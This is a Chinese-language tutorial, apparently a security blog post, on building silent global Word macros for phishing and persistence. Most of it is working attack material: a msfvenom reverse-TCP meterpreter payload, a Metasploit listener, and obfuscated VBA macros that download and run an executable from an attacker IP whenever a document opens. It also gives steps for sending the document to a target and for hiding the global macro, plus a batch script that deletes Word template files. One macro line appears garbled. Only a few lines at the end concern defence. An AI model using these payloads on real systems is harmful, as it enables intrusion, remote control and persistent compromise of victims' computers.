利用MsWord静默宏进行权限维持
字数 1055 2025-08-26 22:11:56
利用MsWord静默宏进行权限维持技术详解
0x00 环境准备
攻击机配置
- 操作系统:Ubuntu
- 工具:
- Metasploit Framework
- Python SimpleHTTPServer
靶机要求
- 操作系统:Windows 10
- 软件:Microsoft Word(支持宏的任何版本)
0x01 生成木马文件
使用msfvenom生成反向TCP连接的meterpreter payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.101.112.222 lport=4144 -a x86 -f exe > /var/tmp/Twe1ve.exe
参数说明:
-p:指定payload类型lhost:攻击机IPlport:监听端口-a x86:32位架构-f exe:输出格式为exe
0x02 开启HTTP服务
在攻击机上启动SimpleHTTPServer:
cd /var/tmp
python -m SimpleHTTPServer 8000
这样靶机可以通过http://10.101.112.222:8000/Twe1ve.exe下载木马文件。
0x03 设置监听
在Metasploit中配置监听:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.101.112.222
set LPORT 4144
exploit
0x04 制作静默宏文档
关键步骤
-
新建.docx文档:使用docx格式而非docm,可绕过部分AV检测
-
启用开发者工具:
- 文件 → 选项 → 自定义功能区
- 主选项卡 → 勾选"开发者工具"
-
创建宏:
- 在开发者工具中点击"宏"
- 关键点1:宏位置选择"全局"(所有活动模板和文档)
- 关键点2:代码必须放在"Nomal"的"This Document"模块
宏代码
Private Declare PtrSafe Function pznHypDNww _
Lib "urlmon" _
Alias "URLDownloadToFileA" _
(ByVal jVwSfubsfjIw As Long, ByVal uoGDZwUbWil As String, _
ByVal AVWhqlOexRkfTAI As String, _
ByVal JHMxrycpoEILCc As Long, ByVal rkTBDYBFT As Long) _
As Long
Private Declare PtrSafe Function DoIT Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal eyMzmMjiKrJvzYzKEWTqMl As Long, ByVal dYlBQm As String, _
ByVal ZjGBfhNinvlQZZXdA As String, ByVal HOtFFUYcTsHAk As String, ByVal RUpRVk As String, _
ByVal gPdCCemybuZxPpPbU As Long) As Long
Private Sub Document_Close()
End Sub
Private Sub Document_Open()
VvXCAiWri
End Sub
Sub nWtd()
Dim otqBShpqzXRvxekDL As String, Bhcdbg As String, QXfvVVlce As String
Bhcdbg = "server.exe[2]"
QXfvVVlce = Environ$("tmp[1]Bhcdbg
otqBShpqzXRvxekDL = "http://10.101.112.200:8000/server.exe[3]"
tEJGRjkFGPoU otqBShpqzXRvxekDL, QXfvVVlce
End Sub
Sub VvXCAiWri()
Dim YmxgfSSuCOrKqNgs As Integer
Dim geXqnJ As String
YmxgfSSuCOrKqNgs = 3
geXqnJ = "osumLoSDznHypDNwwjVwSf"
nWtd
End Sub
Sub tEJGRjkFGPoU(ByVal yNuATc, b As String)
pznHypDNww 0, yNuATc, b, 0, 0
DoIT 0, "open", b, "", vbNullString, vbNormalFocus
End Sub
Private Sub Document_XMLAfterInsert(ByVal NewXMLNode As XMLNode, ByVal InUndoRedo As Boolean)
End Sub
代码说明:
[1]:下载文件到指定目录(如C:\Windows\Temp)[2]:下载的exe文件重命名[3]:可执行文件下载地址
保存技巧
- 文档需要填充一些正常内容(可嵌入到正常word文档中)
- 保存为.docx格式
0x05 攻击实施
- 将制作好的word文档发送给目标
- 目标打开文档时,宏自动执行,下载并运行木马
- 攻击机收到meterpreter会话
0x06 替代方案(高检测率)
对于宏安全设置较高的环境,可使用传统方法:
- 文件格式:.doc
- 宏位置:当前文档
- 需要用户点击"启用内容"
Sub AutoOpen()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://10.101.112.222:8000/server.exe", False
xHttp.Send
With bStrm
.Type = 1
.Open
.Write xHttp.responseBody
.savetofile "server.exe", 2
End With
Shell ("server.exe")
End Sub
0x07 权限维持技巧
关键点3:全局宏只能在本地制作并生效,但可以用于权限维持:
- 在目标机器上创建全局宏的docx文件
- 将文件放置在管理员不常访问的位置
- 任何word文档打开时都会调用该全局宏
0x08 常见问题解决
如果出现word异常,可创建清理脚本:
@echo off
color 07
@ ECHO ECHO 打开WORD文档出错提示:
@ ECHO ECHO Microsoft Office Word 遇到问题需要关闭。我们对此引起的不便表示抱歉。您正在处理的信息有可能丢失。Microsoft Office Word 可以尝试为您恢复。
@ ECHO ECHO 系统询问是否要发送错误报告,不论选择哪一个,循环重启Word,重复出现相同警告对话框。之后出现"安全模式启动WORD",点确定,出现的WORD空白。
@ ECHO echo 注意:请先关闭所有Word文档程序,按任意键开始修复......
@ ECHO pause>nul
del /f /s /q "%userprofile%\local settings\temp\*.*"
del /f /s /q "%appdata%\microsoft\Templates\*.dot"
del /f /s /q "%appdata%\microsoft\Word\Startup\*.dot"
start winword
color 07
@ ECHO ECHO BAT程序执行完毕,请按任意键退出...
@ ECHO pause>nul
0x09 防御措施
- 禁用office宏执行
- 使用高级威胁防护(ATP)解决方案
- 限制word文档从互联网下载文件
- 定期检查全局宏模板
- 使用最新版office并保持更新